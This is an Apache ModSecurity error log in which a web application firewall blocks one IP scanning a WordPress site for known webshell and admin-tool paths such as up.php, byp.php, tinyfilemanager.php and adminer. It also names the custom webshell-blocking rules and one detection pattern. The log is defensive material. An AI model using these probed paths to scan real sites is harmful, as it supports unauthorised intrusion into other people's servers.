[Sat Feb 28 09:11:15.032824 2026] [:error] [pid 22194:tid 22213] [client 13.71.191.191:23539] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/aioseoextensions/file.php"] [unique_id "aaJAs36mbajs3bzQGyvnVAAAAVE"]
[Sat Feb 28 09:11:15.754949 2026] [:error] [pid 39292:tid 39313] [client 13.71.191.191:23492] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/aioseoextensions/file.php"] [unique_id "aaJAs6IAO5fN7BxyqcFqAQAAANM"]
[Sat Feb 28 09:11:16.329326 2026] [:error] [pid 22194:tid 22213] [client 13.71.191.191:23437] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/aioseoextensions/file.php"] [unique_id "aaJAtH6mbajs3bzQGyvnYgAAAVE"]
[Sat Feb 28 09:11:16.758206 2026] [:error] [pid 39292:tid 39302] [client 13.71.191.191:23366] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/aioseoextensions/file.php"] [unique_id "aaJAtKIAO5fN7BxyqcFqBwAAAMg"]
[Sat Feb 28 09:11:17.422939 2026] [:error] [pid 39292:tid 39304] [client 13.71.191.191:23517] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wordpress3cll/up.php"] [unique_id "aaJAtaIAO5fN7BxyqcFqCgAAAMo"]
[Sat Feb 28 09:11:18.017653 2026] [:error] [pid 39185:tid 39246] [client 13.71.191.191:23434] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wordpress3cll/up.php"] [unique_id "aaJAthVE-FfM89u7BQbO1AAAAIA"]
[Sat Feb 28 09:11:18.472589 2026] [:error] [pid 11791:tid 11810] [client 13.71.191.191:23485] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wordpress3cll/up.php"] [unique_id "aaJAtmuX5e1Q32gqxH2AhgAAARE"]
[Sat Feb 28 09:11:19.307031 2026] [:error] [pid 11791:tid 11812] [client 13.71.191.191:23470] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wordpress3cll/up.php"] [unique_id "aaJAt2uX5e1Q32gqxH2AiwAAARM"]
[Sat Feb 28 09:11:20.230837 2026] [:error] [pid 39292:tid 39309] [client 13.71.191.191:23371] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/news_event/1.php7"] [unique_id "aaJAuKIAO5fN7BxyqcFqJQAAAM8"]
[Sat Feb 28 09:11:21.218171 2026] [:error] [pid 39185:tid 39246] [client 13.71.191.191:23463] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/news_event/1.php7"] [unique_id "aaJAuRVE-FfM89u7BQbPBgAAAIA"]
[Sat Feb 28 09:11:21.684500 2026] [:error] [pid 22194:tid 22205] [client 13.71.191.191:23426] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/news_event/1.php7"] [unique_id "aaJAuX6mbajs3bzQGyvngwAAAUk"]
[Sat Feb 28 09:11:22.238401 2026] [:error] [pid 39184:tid 39240] [client 13.71.191.191:23360] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/news_event/1.php7"] [unique_id "aaJAultZF9Zd_U7easChTgAAAFU"]
[Sat Feb 28 09:11:22.704972 2026] [:error] [pid 11791:tid 11814] [client 13.71.191.191:23394] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-4.2.3-en.php"] [unique_id "aaJAumuX5e1Q32gqxH2AoQAAARU"]
[Sat Feb 28 09:11:23.184065 2026] [:error] [pid 39292:tid 39304] [client 13.71.191.191:23518] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-4.2.3-en.php"] [unique_id "aaJAu6IAO5fN7BxyqcFqOgAAAMo"]
[Sat Feb 28 09:11:23.676090 2026] [:error] [pid 22194:tid 22200] [client 13.71.191.191:23304] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-4.2.3-en.php"] [unique_id "aaJAu36mbajs3bzQGyvnmwAAAUQ"]
[Sat Feb 28 09:11:24.214736 2026] [:error] [pid 39183:tid 39206] [client 13.71.191.191:23380] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/adminer-4.2.3-en.php"] [unique_id "aaJAvBCf4HvhVePw3La7jgAAAA4"]
[Sat Feb 28 09:11:24.626525 2026] [:error] [pid 39185:tid 39252] [client 13.71.191.191:23435] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blocks/tinyfilemanager.php"] [unique_id "aaJAvBVE-FfM89u7BQbPKAAAAIY"]
[Sat Feb 28 09:11:25.270036 2026] [:error] [pid 22194:tid 22216] [client 13.71.191.191:23447] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blocks/tinyfilemanager.php"] [unique_id "aaJAvX6mbajs3bzQGyvnqgAAAVQ"]
[Sat Feb 28 09:11:25.683369 2026] [:error] [pid 39292:tid 39296] [client 13.71.191.191:23466] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blocks/tinyfilemanager.php"] [unique_id "aaJAvaIAO5fN7BxyqcFqTgAAAMI"]
[Sat Feb 28 09:11:26.139197 2026] [:error] [pid 39184:tid 39240] [client 13.71.191.191:23447] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blocks/tinyfilemanager.php"] [unique_id "aaJAvltZF9Zd_U7easChXQAAAFU"]
[Sat Feb 28 09:11:26.591978 2026] [:error] [pid 22194:tid 22214] [client 13.71.191.191:23508] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docs.php"] [unique_id "aaJAvn6mbajs3bzQGyvntQAAAVI"]
[Sat Feb 28 09:11:27.033819 2026] [:error] [pid 11791:tid 11817] [client 13.71.191.191:23490] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docs.php"] [unique_id "aaJAv2uX5e1Q32gqxH2AuwAAARg"]
[Sat Feb 28 09:11:27.486232 2026] [:error] [pid 39184:tid 39232] [client 13.71.191.191:23412] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docs.php"] [unique_id "aaJAv1tZF9Zd_U7easChYgAAAE0"]
[Sat Feb 28 09:11:28.501932 2026] [:error] [pid 39185:tid 39266] [client 13.71.191.191:23522] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/docs.php"] [unique_id "aaJAwBVE-FfM89u7BQbPagAAAJQ"]
[Sat Feb 28 09:11:29.211680 2026] [:error] [pid 22194:tid 22214] [client 13.71.191.191:23468] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-simplepie.php"] [unique_id "aaJAwX6mbajs3bzQGyvnyAAAAVI"]
[Sat Feb 28 09:11:29.679593 2026] [:error] [pid 39184:tid 39229] [client 13.71.191.191:23362] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wpsml-sys.php"] [unique_id "aaJAwVtZF9Zd_U7easChagAAAEo"]
[Sat Feb 28 09:11:30.206794 2026] [:error] [pid 39185:tid 39265] [client 13.71.191.191:23510] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wpsml-sys.php"] [unique_id "aaJAwhVE-FfM89u7BQbPiAAAAJM"]
[Sat Feb 28 09:11:30.674294 2026] [:error] [pid 11791:tid 11815] [client 13.71.191.191:23386] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wpsml-sys.php"] [unique_id "aaJAwmuX5e1Q32gqxH2A3gAAARY"]
[Sat Feb 28 09:11:31.147071 2026] [:error] [pid 39292:tid 39299] [client 13.71.191.191:23310] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/myflash/"] [unique_id "aaJAw6IAO5fN7BxyqcFqdwAAAMU"]
[Sat Feb 28 09:11:31.712136 2026] [:error] [pid 22194:tid 22203] [client 13.71.191.191:23549] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/myflash/"] [unique_id "aaJAw36mbajs3bzQGyvn3AAAAUc"]
[Sat Feb 28 09:11:32.199894 2026] [:error] [pid 22194:tid 22217] [client 13.71.191.191:23393] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/myflash/"] [unique_id "aaJAxH6mbajs3bzQGyvn5QAAAVU"]
[Sat Feb 28 09:11:32.719279 2026] [:error] [pid 39292:tid 39304] [client 13.71.191.191:23511] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/myflash/"] [unique_id "aaJAxKIAO5fN7BxyqcFqfQAAAMo"]
[Sat Feb 28 09:11:33.282871 2026] [:error] [pid 39185:tid 39261] [client 13.71.191.191:23529] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/rd.php"] [unique_id "aaJAxRVE-FfM89u7BQbPrQAAAI8"]
[Sat Feb 28 09:11:33.748138 2026] [:error] [pid 22194:tid 22198] [client 13.71.191.191:23398] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/rd.php"] [unique_id "aaJAxX6mbajs3bzQGyvoAwAAAUI"]
[Sat Feb 28 09:11:34.215792 2026] [:error] [pid 22194:tid 22217] [client 13.71.191.191:23535] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/rd.php"] [unique_id "aaJAxn6mbajs3bzQGyvoDAAAAVU"]
[Sat Feb 28 09:11:34.707154 2026] [:error] [pid 11791:tid 11795] [client 13.71.191.191:23401] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/rd.php"] [unique_id "aaJAxmuX5e1Q32gqxH2A-gAAAQI"]
[Sat Feb 28 09:11:35.346142 2026] [:error] [pid 39292:tid 39317] [client 13.71.191.191:23425] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oload_classmap.php"] [unique_id "aaJAx6IAO5fN7BxyqcFqgwAAANc"]
[Sat Feb 28 09:11:35.821033 2026] [:error] [pid 22194:tid 22219] [client 13.71.191.191:23479] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oload_classmap.php"] [unique_id "aaJAx36mbajs3bzQGyvoJQAAAVc"]
[Sat Feb 28 09:11:36.325203 2026] [:error] [pid 39292:tid 39299] [client 13.71.191.191:23390] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oload_classmap.php"] [unique_id "aaJAyKIAO5fN7BxyqcFqhwAAAMU"]
[Sat Feb 28 09:11:36.786339 2026] [:error] [pid 39185:tid 39265] [client 13.71.191.191:23338] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oload_classmap.php"] [unique_id "aaJAyBVE-FfM89u7BQbP3QAAAJM"]
[Sat Feb 28 09:11:37.330534 2026] [:error] [pid 11791:tid 11802] [client 13.71.191.191:23415] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/spin.php"] [unique_id "aaJAyWuX5e1Q32gqxH2BCwAAAQk"]
[Sat Feb 28 09:11:37.883862 2026] [:error] [pid 11791:tid 11815] [client 13.71.191.191:23505] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/spin.php"] [unique_id "aaJAyWuX5e1Q32gqxH2BDwAAARY"]
[Sat Feb 28 09:11:38.499335 2026] [:error] [pid 39292:tid 39315] [client 13.71.191.191:23388] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/spin.php"] [unique_id "aaJAyqIAO5fN7BxyqcFqjgAAANU"]
[Sat Feb 28 09:11:39.034564 2026] [:error] [pid 39292:tid 39296] [client 13.71.191.191:23460] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/spin.php"] [unique_id "aaJAy6IAO5fN7BxyqcFqlgAAAMI"]
[Sat Feb 28 09:11:39.583160 2026] [:error] [pid 39292:tid 39302] [client 13.71.191.191:23461] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize//parx.php"] [unique_id "aaJAy6IAO5fN7BxyqcFqnAAAAMg"]
[Sat Feb 28 09:11:40.069639 2026] [:error] [pid 22194:tid 22210] [client 13.71.191.191:23376] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/IXR/network.php"] [unique_id "aaJAzH6mbajs3bzQGyvoSgAAAU4"]
[Sat Feb 28 09:11:40.636816 2026] [:error] [pid 22194:tid 22212] [client 13.71.191.191:23381] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/IXR/network.php"] [unique_id "aaJAzH6mbajs3bzQGyvoWAAAAVA"]
[Sat Feb 28 09:11:41.238514 2026] [:error] [pid 11791:tid 11811] [client 13.71.191.191:23483] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/IXR/network.php"] [unique_id "aaJAzWuX5e1Q32gqxH2BIAAAARI"]
[Sat Feb 28 09:11:42.653054 2026] [:error] [pid 39184:tid 39224] [client 13.71.191.191:23391] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/IXR/network.php"] [unique_id "aaJAzltZF9Zd_U7easChgQAAAEU"]
[Sat Feb 28 09:11:44.506307 2026] [:error] [pid 22194:tid 22216] [client 13.71.191.191:23484] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/fix/byp.php"] [unique_id "aaJA0H6mbajs3bzQGyvodwAAAVQ"]
[Sat Feb 28 09:11:46.468820 2026] [:error] [pid 39292:tid 39306] [client 13.71.191.191:23395] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/fix/byp.php"] [unique_id "aaJA0qIAO5fN7BxyqcFqsQAAAMw"]
[Sat Feb 28 09:11:48.733554 2026] [:error] [pid 39183:tid 39214] [client 13.71.191.191:23441] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/fix/byp.php"] [unique_id "aaJA1BCf4HvhVePw3La7yAAAABY"]
[Sat Feb 28 09:11:50.483477 2026] [:error] [pid 22194:tid 22199] [client 13.71.191.191:23474] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/fix/byp.php"] [unique_id "aaJA1n6mbajs3bzQGyvosgAAAUM"]
[Sat Feb 28 09:11:52.395186 2026] [:error] [pid 39292:tid 39298] [client 13.71.191.191:23450] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/transaction_history.php"] [unique_id "aaJA2KIAO5fN7BxyqcFq2AAAAMQ"]
[Sat Feb 28 09:11:54.359032 2026] [:error] [pid 39292:tid 39294] [client 13.71.191.191:23543] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/transaction_history.php"] [unique_id "aaJA2qIAO5fN7BxyqcFq4QAAAMA"]
